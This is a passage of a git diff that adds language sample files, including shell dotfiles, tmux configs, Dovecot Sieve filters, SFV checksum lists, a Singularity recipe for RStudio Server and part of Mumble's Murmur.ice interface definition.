+if [ -x /usr/bin/dircolors ]; then
+    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
+    alias ls='ls --color=auto'
+    alias dir='dir --color=auto'
+    alias vdir='vdir --color=auto'
+
+    alias grep='grep --color=auto'
+    alias fgrep='fgrep --color=auto'
+    alias egrep='egrep --color=auto'
+fi
diff --git a/samples/Shell/filenames/.bash_functions b/samples/Shell/filenames/.bash_functions
new file mode 100644
index 0000000000..187c88fa36
--- /dev/null
+++ b/samples/Shell/filenames/.bash_functions
@@ -0,0 +1,21 @@
+make_graph() {
+    if [ -f dbschema.dot ]; then
+        rm -f dbschema.dot
+    fi
+
+    # NB graph_models is one of the additions from django-extensions
+    python manage.py graph_models -a -X CaptchaStore,ContentType,Group,Permission,Site,Session,AbstractBaseSession,LogEntry,FileBrowser,PermissionsMixin,AbstractBaseUser,TaskResult,PeriodicTask,IntervalSchedule,PeriodicTasks,ClockedSchedule,CrontabSchedule,SolarSchedule, -x last_updated_by -g > dbschema.dot
+
+    # Swap the direction of the arrow
+    sed -i -e 's/arrowhead=none, arrowtail=dot/arrowhead=vee, arrowtail=none/g' dbschema.dot
+    sed -i -e 's/arrowhead=dot, arrowtail=none/arrowhead=none, arrowtail=vee/g' dbschema.dot
+    sed -i -e 's/arrowhead=dot arrowtail=dot/arrowhead=vee arrowtail=vee/g' dbschema.dot
+
+    # https://www.graphviz.org/doc/info/attrs.html
+    for layout in dot fdp sfdp osage; do  # neato  twopi  circo  patchwork
+        if [ -f dbschema_$layout.pdf ]; then
+            rm -f dbschema_$layout.pdf
+        fi
+        dot -K$layout -Tpdf dbschema.dot -x > dbschema_$layout.pdf
+    done
+}
diff --git a/samples/Shell/filenames/.envrc b/samples/Shell/filenames/.envrc
new file mode 100644
index 0000000000..38dc6c9f75
--- /dev/null
+++ b/samples/Shell/filenames/.envrc
@@ -0,0 +1 @@
+export JAVA_HOME=`/usr/libexec/java_home -v 1.8`
diff --git a/samples/Shell/filenames/.flaskenv b/samples/Shell/filenames/.flaskenv
new file mode 100644
index 0000000000..364d68d5bd
--- /dev/null
+++ b/samples/Shell/filenames/.flaskenv
@@ -0,0 +1,2 @@
+FLASK_APP=app.py
+FLASK_ENV=development
\ No newline at end of file
diff --git a/samples/Shell/filenames/.kshrc b/samples/Shell/filenames/.kshrc
new file mode 100644
index 0000000000..6767189840
--- /dev/null
+++ b/samples/Shell/filenames/.kshrc
@@ -0,0 +1,21 @@
+case "$-" in
+    *i*) ;;
+    *) return 0 ;;
+esac
+
+export PAGER=less
+export LANG=en_US.UTF-8
+export LC_CTYPE=en_US.UTF-8
+
+HISTFILE=$HOME/.ksh_history
+HISTSIZE=20000
+HISTCONTROL=ignoredups
+
+set -o emacs
+
+alias ll='ls -l'
+alias la='ls -lA'
+
+PS1='\A $? \w \$ '
+
+set -A complete_sysctl -- $(sysctl | grep = | cut -d= -f1)
diff --git a/samples/Shell/filenames/.tmux.conf b/samples/Shell/filenames/.tmux.conf
new file mode 100644
index 0000000000..1f53364468
--- /dev/null
+++ b/samples/Shell/filenames/.tmux.conf
@@ -0,0 +1,102 @@
+# Source: https://github.com/lildude/dotfiles/blob/main/chezmoi/dot_config/tmux/tmux.conf
+# Licensed under MIT (https://github.com/lildude/dotfiles/blob/main/LICENSE)
+
+# ==========================
+# ===  General settings  ===
+# ==========================
+#
+# Some of these borrowed from https://github.com/samoshkin/tmux-config/blob/master/tmux/tmux.conf
+#
+# Good book: https://leanpub.com/the-tao-of-tmux/read
+
+# utf8 is on
+set -g utf8 on
+set -g status-utf8 on
+
+# address vim mode switching delay (http://superuser.com/a/252717/65504)
+set -s escape-time 0
+
+# Force lotsa colours
+set -g default-terminal "screen-256color"
+
+# Start index of window/pane with 1, because we're humans, not computers
+set -g base-index 1
+setw -g pane-base-index 1
+
+# split panes using | and - cos it's waay more logical than % and "
+unbind '"'
+unbind %
+bind | split-window -h
+bind - split-window -v
+
+# reload config file (change file location to your the tmux.conf you want to use)
+bind r source-file ~/.tmux.conf
+
+# don't rename windows automatically
+set-option -g allow-rename off
+
+# Enable mouse support
+# < 2.1
+#set -g mode-mouse on
+# 2.1 onwards
+#set -g mouse on
+
+# =====================================
+# ===           Theme               ===
+# =====================================
+
+# Feel free to NOT use this variables at all (remove, rename)
+# this are named colors, just for convenience
+color_orange="colour166" # 208, 166
+color_purple="colour134" # 135, 134
+color_green="colour076" # 070
+color_blue="colour39"
+color_yellow="colour220"
+color_red="colour160"
+color_black="colour232"
+color_white="white" # 015
+
+# This is a theme CONTRACT, you are required to define variables below
+# Change values, but not remove/rename variables itself
+color_dark="$color_black"
+color_light="$color_white"
+color_session_text="$color_blue"
+color_status_text="colour245"
+color_main="$color_orange"
+color_secondary="$color_purple"
+color_level_ok="$color_green"
+color_level_warn="$color_yellow"
+color_level_stress="$color_red"
+color_window_off_indicator="colour088"
+color_window_off_status_bg="colour238"
+color_window_off_status_current_bg="colour254"
+
+# =====================================
+# ===    Appearance and status bar  ===
+# ======================================
+
+set -g mode-style "fg=default,bg=$color_main"
+
+# command line style
+set -g message-style "fg=$color_main,bg=$color_dark"
+
+# status line style
+set -g status-style "fg=$color_status_text,bg=$color_dark"
+
+# window segments in status line
+set -g window-status-separator ""
+
+# setw -g window-status-style "fg=$color_status_text,bg=$color_dark"
+setw -g window-status-format " #I:#W "
+setw -g window-status-current-style "fg=$color_light,bold,bg=$color_main"
+setw -g window-status-current-format "#[fg=$color_dark,bg=$color_main] #I:#W #[fg=$color_main,bg=$color_dark]#[default]"
+
+# outline for active pane
+setw -g pane-active-border-style "fg=$color_main"
+
+# The left hand side of the status bar
+set -g status-left "#[fg=$color_session_text] #S #[default]"
+
+# The right hand side of the status bar
+set -g status-right-length 100
+set -g status-right "#[fg=$color_orange,bold] #h #[default]#[fg=$color_blue] %d-%b-%y %H:%M %Z"
diff --git a/samples/Shell/filenames/bash_aliases b/samples/Shell/filenames/bash_aliases
new file mode 100644
index 0000000000..5bd06155a3
--- /dev/null
+++ b/samples/Shell/filenames/bash_aliases
@@ -0,0 +1,15 @@
+# Read shared alias
+test -f $HOME/.common-alias && source $HOME/.common-alias
+test -f $HOME/.custom-alias && source $HOME/.custom-alias
+
+# enable color support of ls and also add handy aliases
+if [ -x /usr/bin/dircolors ]; then
+    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
+    alias ls='ls --color=auto'
+    alias dir='dir --color=auto'
+    alias vdir='vdir --color=auto'
+
+    alias grep='grep --color=auto'
+    alias fgrep='fgrep --color=auto'
+    alias egrep='egrep --color=auto'
+fi
diff --git a/samples/Shell/filenames/kshrc b/samples/Shell/filenames/kshrc
new file mode 100644
index 0000000000..6767189840
--- /dev/null
+++ b/samples/Shell/filenames/kshrc
@@ -0,0 +1,21 @@
+case "$-" in
+    *i*) ;;
+    *) return 0 ;;
+esac
+
+export PAGER=less
+export LANG=en_US.UTF-8
+export LC_CTYPE=en_US.UTF-8
+
+HISTFILE=$HOME/.ksh_history
+HISTSIZE=20000
+HISTCONTROL=ignoredups
+
+set -o emacs
+
+alias ll='ls -l'
+alias la='ls -lA'
+
+PS1='\A $? \w \$ '
+
+set -A complete_sysctl -- $(sysctl | grep = | cut -d= -f1)
diff --git a/samples/Shell/filenames/tmux.conf b/samples/Shell/filenames/tmux.conf
new file mode 100644
index 0000000000..1f53364468
--- /dev/null
+++ b/samples/Shell/filenames/tmux.conf
@@ -0,0 +1,102 @@
+# Source: https://github.com/lildude/dotfiles/blob/main/chezmoi/dot_config/tmux/tmux.conf
+# Licensed under MIT (https://github.com/lildude/dotfiles/blob/main/LICENSE)
+
+# ==========================
+# ===  General settings  ===
+# ==========================
+#
+# Some of these borrowed from https://github.com/samoshkin/tmux-config/blob/master/tmux/tmux.conf
+#
+# Good book: https://leanpub.com/the-tao-of-tmux/read
+
+# utf8 is on
+set -g utf8 on
+set -g status-utf8 on
+
+# address vim mode switching delay (http://superuser.com/a/252717/65504)
+set -s escape-time 0
+
+# Force lotsa colours
+set -g default-terminal "screen-256color"
+
+# Start index of window/pane with 1, because we're humans, not computers
+set -g base-index 1
+setw -g pane-base-index 1
+
+# split panes using | and - cos it's waay more logical than % and "
+unbind '"'
+unbind %
+bind | split-window -h
+bind - split-window -v
+
+# reload config file (change file location to your the tmux.conf you want to use)
+bind r source-file ~/.tmux.conf
+
+# don't rename windows automatically
+set-option -g allow-rename off
+
+# Enable mouse support
+# < 2.1
+#set -g mode-mouse on
+# 2.1 onwards
+#set -g mouse on
+
+# =====================================
+# ===           Theme               ===
+# =====================================
+
+# Feel free to NOT use this variables at all (remove, rename)
+# this are named colors, just for convenience
+color_orange="colour166" # 208, 166
+color_purple="colour134" # 135, 134
+color_green="colour076" # 070
+color_blue="colour39"
+color_yellow="colour220"
+color_red="colour160"
+color_black="colour232"
+color_white="white" # 015
+
+# This is a theme CONTRACT, you are required to define variables below
+# Change values, but not remove/rename variables itself
+color_dark="$color_black"
+color_light="$color_white"
+color_session_text="$color_blue"
+color_status_text="colour245"
+color_main="$color_orange"
+color_secondary="$color_purple"
+color_level_ok="$color_green"
+color_level_warn="$color_yellow"
+color_level_stress="$color_red"
+color_window_off_indicator="colour088"
+color_window_off_status_bg="colour238"
+color_window_off_status_current_bg="colour254"
+
+# =====================================
+# ===    Appearance and status bar  ===
+# ======================================
+
+set -g mode-style "fg=default,bg=$color_main"
+
+# command line style
+set -g message-style "fg=$color_main,bg=$color_dark"
+
+# status line style
+set -g status-style "fg=$color_status_text,bg=$color_dark"
+
+# window segments in status line
+set -g window-status-separator ""
+
+# setw -g window-status-style "fg=$color_status_text,bg=$color_dark"
+setw -g window-status-format " #I:#W "
+setw -g window-status-current-style "fg=$color_light,bold,bg=$color_main"
+setw -g window-status-current-format "#[fg=$color_dark,bg=$color_main] #I:#W #[fg=$color_main,bg=$color_dark]#[default]"
+
+# outline for active pane
+setw -g pane-active-border-style "fg=$color_main"
+
+# The left hand side of the status bar
+set -g status-left "#[fg=$color_session_text] #S #[default]"
+
+# The right hand side of the status bar
+set -g status-right-length 100
+set -g status-right "#[fg=$color_orange,bold] #h #[default]#[fg=$color_blue] %d-%b-%y %H:%M %Z"
diff --git a/samples/Shell/robbyrussell.zsh-theme b/samples/Shell/robbyrussell.zsh-theme
new file mode 100644
index 0000000000..08f9cea4b5
--- /dev/null
+++ b/samples/Shell/robbyrussell.zsh-theme
@@ -0,0 +1,9 @@
+# robbyrussell zsh teme from the ohmyzsh repo (ohmyzsh/themes/robbyrussell.zsh-theme)
+
+PROMPT="%(?:%{$fg_bold[green]%}➜ :%{$fg_bold[red]%}➜ )"
+PROMPT+=' %{$fg[cyan]%}%c%{$reset_color%} $(git_prompt_info)'
+
+ZSH_THEME_GIT_PROMPT_PREFIX="%{$fg_bold[blue]%}git:(%{$fg[red]%}"
+ZSH_THEME_GIT_PROMPT_SUFFIX="%{$reset_color%} "
+ZSH_THEME_GIT_PROMPT_DIRTY="%{$fg[blue]%}) %{$fg[yellow]%}✗"
+ZSH_THEME_GIT_PROMPT_CLEAN="%{$fg[blue]%})"
\ No newline at end of file
diff --git a/samples/Shell/udev.trigger b/samples/Shell/udev.trigger
new file mode 100644
index 0000000000..e239d4ec2f
--- /dev/null
+++ b/samples/Shell/udev.trigger
@@ -0,0 +1,15 @@
+#!/bin/sh
+
+for x in "$@"; do
+    case "$x" in
+        *rules.d*)
+            if [ -S /run/udev/control ]; then
+                    /usr/bin/udevadm control --reload || :
+            fi
+            ;;
+        *hwdb.d*)
+            echo "Updating udev hwdb..."
+            /usr/bin/udev-hwdb update || :
+            ;;
+    esac
+done
\ No newline at end of file
diff --git a/samples/ShellCheck Config/filenames/.shellcheckrc b/samples/ShellCheck Config/filenames/.shellcheckrc
new file mode 100644
index 0000000000..e3e4e7a9ee
--- /dev/null
+++ b/samples/ShellCheck Config/filenames/.shellcheckrc	
@@ -0,0 +1,9 @@
+shell=sh
+enable=avoid-nullary-conditions,deprecate-which,quote-safe-variables
+
+# Solaris 8-9 compatibility
+disable=SC2006  # Don't suggest $(…) instead of `…`
+disable=SC2021  # Ignore bracketed tr(1) ranges
+
+# Don't suggest explicit “-n” operators in tests
+disable=SC2244
diff --git a/samples/Sieve/dovecot-archive.sieve b/samples/Sieve/dovecot-archive.sieve
new file mode 100644
index 0000000000..c2f712a87a
--- /dev/null
+++ b/samples/Sieve/dovecot-archive.sieve
@@ -0,0 +1,13 @@
+# This script was copied from https://wiki2.dovecot.org/Pigeonhole/Sieve/Examples
+# on 2020-04-08.
+require ["variables","date","fileinto","mailbox"];
+
+# Extract date info
+if currentdate :matches "year" "*" { set "year" "${1}"; }
+if currentdate :matches "month" "*" { set "month" "${1}"; }
+
+# Archive Dovecot mailing list items by year and month.
+# Create folder when it does not exist.
+if header :is "list-id" "dovecot.dovecot.org" {
+  fileinto :create "INBOX.Lists.${year}.${month}.dovecot";
+}
diff --git a/samples/Sieve/dovecot-flagging.sieve b/samples/Sieve/dovecot-flagging.sieve
new file mode 100644
index 0000000000..c2f712a87a
--- /dev/null
+++ b/samples/Sieve/dovecot-flagging.sieve
@@ -0,0 +1,13 @@
+# This script was copied from https://wiki2.dovecot.org/Pigeonhole/Sieve/Examples
+# on 2020-04-08.
+require ["variables","date","fileinto","mailbox"];
+
+# Extract date info
+if currentdate :matches "year" "*" { set "year" "${1}"; }
+if currentdate :matches "month" "*" { set "month" "${1}"; }
+
+# Archive Dovecot mailing list items by year and month.
+# Create folder when it does not exist.
+if header :is "list-id" "dovecot.dovecot.org" {
+  fileinto :create "INBOX.Lists.${year}.${month}.dovecot";
+}
diff --git a/samples/Sieve/dovecot-headers.sieve b/samples/Sieve/dovecot-headers.sieve
new file mode 100644
index 0000000000..fec1015539
--- /dev/null
+++ b/samples/Sieve/dovecot-headers.sieve
@@ -0,0 +1,15 @@
+# This script was copied from https://wiki2.dovecot.org/Pigeonhole/Sieve/Examples
+# on 2020-04-08.
+require ["fileinto", "envelope"];
+if address :is "to" "dovecot@dovecot.org" {
+  fileinto "Dovecot-list";
+} elsif envelope :is "from" "owner-cipe-l@inka.de" {
+  fileinto "lists.cipe";
+} elsif anyof (header :contains "X-listname" "lugog@cip.rz.fh-offenburg.de",
+               header :contains "List-Id" "Linux User Group Offenburg") {
+  fileinto "ml.lugog";
+} else {
+  # The rest goes into INBOX
+  # default is "implicit keep", we do it explicitly here
+  keep;
+}
diff --git a/samples/Sieve/dovecot-plus.sieve b/samples/Sieve/dovecot-plus.sieve
new file mode 100644
index 0000000000..0ee38ae253
--- /dev/null
+++ b/samples/Sieve/dovecot-plus.sieve
@@ -0,0 +1,6 @@
+# This script was copied from https://wiki2.dovecot.org/Pigeonhole/Sieve/Examples
+# on 2020-04-08.
+require ["fileinto", "envelope", "subaddress"];
+if envelope :detail "to" "spam"{
+  fileinto "Spam";
+}
diff --git a/samples/Sieve/dovecot-spam1.sieve b/samples/Sieve/dovecot-spam1.sieve
new file mode 100644
index 0000000000..d04a9fdfd3
--- /dev/null
+++ b/samples/Sieve/dovecot-spam1.sieve
@@ -0,0 +1,6 @@
+# This script was copied from https://wiki2.dovecot.org/Pigeonhole/Sieve/Examples
+# on 2020-04-08.
+require "fileinto";
+if header :contains "X-Spam-Flag" "YES" {
+  fileinto "Spam";
+}
diff --git a/samples/Sieve/dovecot-spam2.sieve b/samples/Sieve/dovecot-spam2.sieve
new file mode 100644
index 0000000000..891e300b9a
--- /dev/null
+++ b/samples/Sieve/dovecot-spam2.sieve
@@ -0,0 +1,10 @@
+# This script was copied from https://wiki2.dovecot.org/Pigeonhole/Sieve/Examples
+# on 2020-04-08.
+require ["comparator-i;ascii-numeric","relational"];
+if allof (
+   not header :matches "x-spam-score" "-*",
+   header :value "ge" :comparator "i;ascii-numeric" "x-spam-score" "10" )
+{
+  discard;
+  stop;
+}
diff --git a/samples/Sieve/dovecot-spamtest.sieve b/samples/Sieve/dovecot-spamtest.sieve
new file mode 100644
index 0000000000..c6ddc1fd09
--- /dev/null
+++ b/samples/Sieve/dovecot-spamtest.sieve
@@ -0,0 +1,28 @@
+# This script was copied from https://wiki2.dovecot.org/Pigeonhole/Sieve/Examples
+# on 2020-04-08.
+require "spamtestplus";
+require "fileinto";
+require "relational";
+require "comparator-i;ascii-numeric";
+
+/* If the spamtest fails for some reason, e.g. spam header is missing, file
+ * file it in a special folder.
+ */
+if spamtest :value "eq" :comparator "i;ascii-numeric" "0" {
+  fileinto "Unclassified";
+
+/* If the spamtest score (in the range 1-10) is larger than or equal to 3,
+ * file it into the spam folder:
+ */
+} elsif spamtest :value "ge" :comparator "i;ascii-numeric" "3" {
+  fileinto "Spam";
+
+/* For more fine-grained score evaluation, the :percent tag can be used. The
+ * following rule discards all messages with a percent score
+ * (relative to maximum) of more than 85 %:
+ */
+} elsif spamtest :value "gt" :comparator "i;ascii-numeric" :percent "85" {
+  discard;
+}
+
+/* Other messages get filed into INBOX */
diff --git a/samples/Sieve/dovecot-subaddress.sieve b/samples/Sieve/dovecot-subaddress.sieve
new file mode 100644
index 0000000000..71553e3b65
--- /dev/null
+++ b/samples/Sieve/dovecot-subaddress.sieve
@@ -0,0 +1,20 @@
+# This script was copied from https://wiki2.dovecot.org/Pigeonhole/Sieve/Examples
+# on 2020-04-08.
+require ["variables", "envelope", "fileinto", "subaddress"];
+
+if envelope :is :user "to" "sales" {
+  if envelope :matches :detail "to" "*" {
+    /* Save name in ${name} in all lowercase except for the first letter.
+     * Joe, joe, jOe thus all become 'Joe'.
+     */
+    set :lower :upperfirst "name" "${1}";
+  }
+
+  if string :is "${name}" "" {
+    /* Default case if no detail is specified */
+    fileinto "sales";
+  } else {
+    /* For sales+joe@ this will become users/Joe */
+    fileinto "users/${name}";
+  }
+}
diff --git a/samples/Sieve/dovecot-vacation.sieve b/samples/Sieve/dovecot-vacation.sieve
new file mode 100644
index 0000000000..71553e3b65
--- /dev/null
+++ b/samples/Sieve/dovecot-vacation.sieve
@@ -0,0 +1,20 @@
+# This script was copied from https://wiki2.dovecot.org/Pigeonhole/Sieve/Examples
+# on 2020-04-08.
+require ["variables", "envelope", "fileinto", "subaddress"];
+
+if envelope :is :user "to" "sales" {
+  if envelope :matches :detail "to" "*" {
+    /* Save name in ${name} in all lowercase except for the first letter.
+     * Joe, joe, jOe thus all become 'Joe'.
+     */
+    set :lower :upperfirst "name" "${1}";
+  }
+
+  if string :is "${name}" "" {
+    /* Default case if no detail is specified */
+    fileinto "sales";
+  } else {
+    /* For sales+joe@ this will become users/Joe */
+    fileinto "users/${name}";
+  }
+}
diff --git a/samples/Sieve/dovecot-virustest.sieve b/samples/Sieve/dovecot-virustest.sieve
new file mode 100644
index 0000000000..11b2b9c7b8
--- /dev/null
+++ b/samples/Sieve/dovecot-virustest.sieve
@@ -0,0 +1,21 @@
+# This script was copied from https://wiki2.dovecot.org/Pigeonhole/Sieve/Examples
+# on 2020-04-08.
+require "virustest";
+require "fileinto";
+require "relational";
+require "comparator-i;ascii-numeric";
+
+/* Not scanned ? */
+if virustest :value "eq" :comparator "i;ascii-numeric" "0" {
+  fileinto "Unscanned";
+
+/* Infected with high probability (value range in 1-5) */
+} if virustest :value "eq" :comparator "i;ascii-numeric" "4" {
+  /* Quarantine it in special folder (still somewhat dangerous) */
+  fileinto "Quarantine";
+
+/* Definitely infected */
+} elsif virustest :value "eq" :comparator "i;ascii-numeric" "5" {
+  /* Just get rid of it */
+  discard;
+}
diff --git a/samples/Sieve/wikipedia-example.sieve b/samples/Sieve/wikipedia-example.sieve
new file mode 100644
index 0000000000..2a982275c2
--- /dev/null
+++ b/samples/Sieve/wikipedia-example.sieve
@@ -0,0 +1,36 @@
+# This script was copied from https://en.wikipedia.org/wiki/Sieve_(mail_filtering_language)#Example
+# on 2020-04-08.
+# Sieve filter
+
+# Declare the extensions used by this script.
+#
+require ["fileinto", "reject"];
+
+# Messages bigger than 100K will be rejected with an error message
+#
+if size :over 100K {
+   reject "I'm sorry, I do not accept mail over 100kb in size.
+Please upload larger files to a server and send me a link.
+Thanks.";
+}
+
+# Mails from a mailing list will be put into the folder "mailinglist"
+#
+elsif address :is ["From", "To"] "mailinglist@blafasel.invalid" {
+   fileinto "INBOX.mailinglist";
+}
+
+# Spam Rule: Message does not contain my address in To, CC or Bcc
+# header, or subject is something with "money" or "Viagra".
+#
+elsif anyof (not address :all :contains ["To", "Cc", "Bcc"] "me@blafasel.invalid",
+header :matches "Subject" ["*money*","*Viagra*"]) {
+      fileinto "INBOX.spam";
+}
+
+# Keep the rest.
+# This is not necessary because there is a "implicit keep" Rule
+#
+else {
+     keep;
+}
diff --git a/samples/Simple File Verification/linguist.sfv b/samples/Simple File Verification/linguist.sfv
new file mode 100644
index 0000000000..732cc9646e
--- /dev/null
+++ b/samples/Simple File Verification/linguist.sfv	
@@ -0,0 +1,29 @@
+lib\linguist\samples.rb a68f334c
+lib\linguist\blob.rb 64839a5b
+lib\linguist\linguist.bundle f432fe86
+lib\linguist\file_blob.rb 89f0611a
+lib\linguist\popular.yml 3d7ec880
+lib\linguist\repository.rb 509d211c
+lib\linguist\heuristics.yml 0d891788
+lib\linguist\lazy_blob.rb 0ba1b9c7
+lib\linguist\language.rb d24f20c8
+lib\linguist\samples.json 1ce080b4
+lib\linguist\tokenizer.rb 52f84158
+lib\linguist\generic.yml 0186ffd2
+lib\linguist\vendor.yml 496c5e23
+lib\linguist\shebang.rb d4920ba5
+lib\linguist\VERSION f931284a
+lib\linguist\sha256.rb 6ea81c50
+lib\linguist\version.rb 47439f57
+lib\linguist\classifier.rb dde8616f
+lib\linguist\heuristics.rb cd388744
+lib\linguist\grammars.rb 15132734
+lib\linguist\generated.rb ee53378f
+lib\linguist\blob_helper.rb 38a1bbac
+lib\linguist\documentation.yml 49190aab
+lib\linguist\languages.yml 66e15e3f
+lib\linguist\strategy\filename.rb 7d2bbb51
+lib\linguist\strategy\extension.rb 2a33913d
+lib\linguist\strategy\xml.rb a72a15eb
+lib\linguist\strategy\modeline.rb 71705eab
+lib\linguist\strategy\manpage.rb 7200a66c
\ No newline at end of file
diff --git a/samples/Simple File Verification/openbsd.sfv b/samples/Simple File Verification/openbsd.sfv
new file mode 100755
index 0000000000..12eb5ad37b
--- /dev/null
+++ b/samples/Simple File Verification/openbsd.sfv	
@@ -0,0 +1,55 @@
+; Generated by RHash v1.4.0 on 2022-09-29 at 13:24.03
+; Written by Kravchenko Aleksey (Akademgorodok) - http://rhash.sf.net/
+;
+;       126464  09:46.52 2022-04-12 7.1/amd64/BOOTIA32.EFI
+;       141838  09:46.52 2022-04-12 7.1/amd64/BOOTX64.EFI
+;           54  10:10.09 2022-04-12 7.1/amd64/BUILDINFO
+;        43495  10:10.08 2022-04-12 7.1/amd64/INSTALL.amd64
+;         1992  10:39.17 2022-04-12 7.1/amd64/SHA256
+;         2144  10:39.56 2022-04-12 7.1/amd64/SHA256.sig
+;    346820017  10:05.02 2022-04-12 7.1/amd64/base71.tgz
+;     22876084  10:04.06 2022-04-12 7.1/amd64/bsd
+;     22977229  10:04.07 2022-04-12 7.1/amd64/bsd.mp
+;      4606368  10:10.08 2022-04-12 7.1/amd64/bsd.rd
+;     10717184  10:10.09 2022-04-12 7.1/amd64/cd71.iso
+;        89300  09:46.51 2022-04-12 7.1/amd64/cdboot
+;         2048  09:46.51 2022-04-12 7.1/amd64/cdbr
+;     75127448  10:05.28 2022-04-12 7.1/amd64/comp71.tgz
+;      1474560  10:10.09 2022-04-12 7.1/amd64/floppy71.img
+;      2810632  10:05.36 2022-04-12 7.1/amd64/game71.tgz
+;         1690  10:39.56 2022-04-12 7.1/amd64/index.txt
+;    696745984  10:28.18 2022-04-12 7.1/amd64/install71.img
+;    588500992  10:27.52 2022-04-12 7.1/amd64/install71.iso
+;      7783788  10:05.36 2022-04-12 7.1/amd64/man71.tgz
+;      5832704  10:10.08 2022-04-12 7.1/amd64/miniroot71.img
+;        98652  09:46.51 2022-04-12 7.1/amd64/pxeboot
+;     56506993  10:27.06 2022-04-12 7.1/amd64/xbase71.tgz
+;     23516363  10:27.17 2022-04-12 7.1/amd64/xfont71.tgz
+;     20600147  10:27.18 2022-04-12 7.1/amd64/xserv71.tgz
+;      4653425  10:27.18 2022-04-12 7.1/amd64/xshare71.tgz
+7.1/amd64/BOOTIA32.EFI CDB08B3E
+7.1/amd64/BOOTX64.EFI 71E3C089
+7.1/amd64/BUILDINFO FC2804F3
+7.1/amd64/INSTALL.amd64 5C3724AD
+7.1/amd64/SHA256 0A058594
+7.1/amd64/SHA256.sig 5FAA53E0
+7.1/amd64/base71.tgz 13B2179E
+7.1/amd64/bsd A80438B0
+7.1/amd64/bsd.mp 2EB0BB0F
+7.1/amd64/bsd.rd 85486877
+7.1/amd64/cd71.iso 6E7472B3
+7.1/amd64/cdboot E7F94BEF
+7.1/amd64/cdbr 9F51A0BC
+7.1/amd64/comp71.tgz B61ED148
+7.1/amd64/floppy71.img 69D61355
+7.1/amd64/game71.tgz C82C5F13
+7.1/amd64/index.txt A615F95F
+7.1/amd64/install71.img 701E882D
+7.1/amd64/install71.iso B9CA3606
+7.1/amd64/man71.tgz 57B33255
+7.1/amd64/miniroot71.img E9447B9B
+7.1/amd64/pxeboot CAB04BB8
+7.1/amd64/xbase71.tgz C9B24329
+7.1/amd64/xfont71.tgz EE8F05F4
+7.1/amd64/xserv71.tgz 9F1F9787
+7.1/amd64/xshare71.tgz 00474C06
diff --git a/samples/Singularity/filenames/Singularity b/samples/Singularity/filenames/Singularity
new file mode 100644
index 0000000000..f9a518aedd
--- /dev/null
+++ b/samples/Singularity/filenames/Singularity
@@ -0,0 +1,57 @@
+# https://github.com/nickjer/singularity-r/blob/master/Singularity (MIT)
+
+BootStrap: shub
+From: nickjer/singularity-r
+
+%labels
+  Maintainer Jeremy Nicklas
+  RStudio_Version 1.2.5033
+
+%help
+  This will run RStudio Server
+
+%apprun rserver
+  exec rserver "${@}"
+
+%runscript
+  exec rserver "${@}"
+
+%environment
+  export PATH=/usr/lib/rstudio-server/bin:${PATH}
+
+%setup
+  install -Dv \
+    rstudio_auth.sh \
+    ${SINGULARITY_ROOTFS}/usr/lib/rstudio-server/bin/rstudio_auth
+  install -Dv \
+    ldap_auth.py \
+    ${SINGULARITY_ROOTFS}/usr/lib/rstudio-server/bin/ldap_auth
+
+%post
+  # Software versions
+  export RSTUDIO_VERSION=1.2.5033
+
+  # Install RStudio Server
+  apt-get update
+  apt-get install -y --no-install-recommends \
+    ca-certificates \
+    wget \
+    gdebi-core
+  wget \
+    --no-verbose \
+    -O rstudio-server.deb \
+    "https://download2.rstudio.org/server/trusty/amd64/rstudio-server-${RSTUDIO_VERSION}-amd64.deb"
+  gdebi -n rstudio-server.deb
+  rm -f rstudio-server.deb
+
+  # Add support for LDAP authentication
+  wget \
+    --no-verbose \
+    -O get-pip.py \
+    "https://bootstrap.pypa.io/get-pip.py"
+  python3 get-pip.py
+  rm -f get-pip.py
+  pip3 install ldap3
+
+  # Clean up
+  rm -rf /var/lib/apt/lists/*
\ No newline at end of file
diff --git a/samples/Slice/Murmur.ice b/samples/Slice/Murmur.ice
new file mode 100644
index 0000000000..dc7777970a
--- /dev/null
+++ b/samples/Slice/Murmur.ice
@@ -0,0 +1,885 @@
+// Copyright 2005-2018 The Mumble Developers. All rights reserved.
+// Use of this source code is governed by a BSD-style license
+// that can be found in the LICENSE file at the root of the
+// Mumble source tree or at <https://www.mumble.info/LICENSE>.
+
+/**
+ *
+ * Information and control of the murmur server. Each server has
+ * one {@link Meta} interface that controls global information, and
+ * each virtual server has a {@link Server} interface.
+ *
+ **/
+
+#include <Ice/SliceChecksumDict.ice>
+
+module Murmur
+{
+
+	/** A network address in IPv6 format.
+	 **/
+	["python:seq:tuple"] sequence<byte> NetAddress;
+
+	/** A connected user.
+	 **/
+	struct User {
+		/** Session ID. This identifies the connection to the server. */
+		int session;
+		/** User ID. -1 if the user is anonymous. */
+		int userid;
+		/** Is user muted by the server? */
+		bool mute;
+		/** Is user deafened by the server? If true, this implies mute. */
+		bool deaf;
+		/** Is the user suppressed by the server? This means the user is not muted, but does not have speech privileges in the current channel. */
+		bool suppress;
+		/** Is the user a priority speaker? */
+		bool prioritySpeaker;
+		/** Is the user self-muted? */
+		bool selfMute;
+		/** Is the user self-deafened? If true, this implies mute. */
+		bool selfDeaf;
+		/** Is the User recording? (This flag is read-only and cannot be changed using setState().) **/
+		bool recording;
+		/** Channel ID the user is in. Matches {@link Channel.id}. */
+		int channel;
+		/** The name of the user. */
+		string name;
+		/** Seconds user has been online. */
+		int onlinesecs;
+		/** Average transmission rate in bytes per second over the last few seconds. */
+		int bytespersec;
+		/** Client version. Major version in upper 16 bits, followed by 8 bits of minor version and 8 bits of patchlevel. Version 1.2.3 = 0x010203. */
+		int version;
+		/** Client release. For official releases, this equals the version. For snapshots and git compiles, this will be something else. */
+		string release;
+		/** Client OS. */
+		string os;
+		/** Client OS Version. */
+		string osversion;
+		/** Plugin Identity. This will be the user's unique ID inside the current game. */
+		string identity;
+		/**
+		   Base64-encoded Plugin context. This is a binary blob identifying the game and team the user is on.
+
+		   The used Base64 alphabet is the one specified in RFC 2045.
+
+		   Before Mumble 1.3.0, this string was not Base64-encoded. This could cause problems for some Ice
+		   implementations, such as the .NET implementation.
+
+		   If you need the exact string that is used by Mumble, you can get it by Base64-decoding this string.
+
+		   If you simply need to detect whether two users are in the same game world, string comparisons will
+		   continue to work as before.
+		 */
+		string context;
+		/** User comment. Shown as tooltip for this user. */
+		string comment;
+		/** Client address. */
+		NetAddress address;
+		/** TCP only. True until UDP connectivity is established. */
+		bool tcponly;
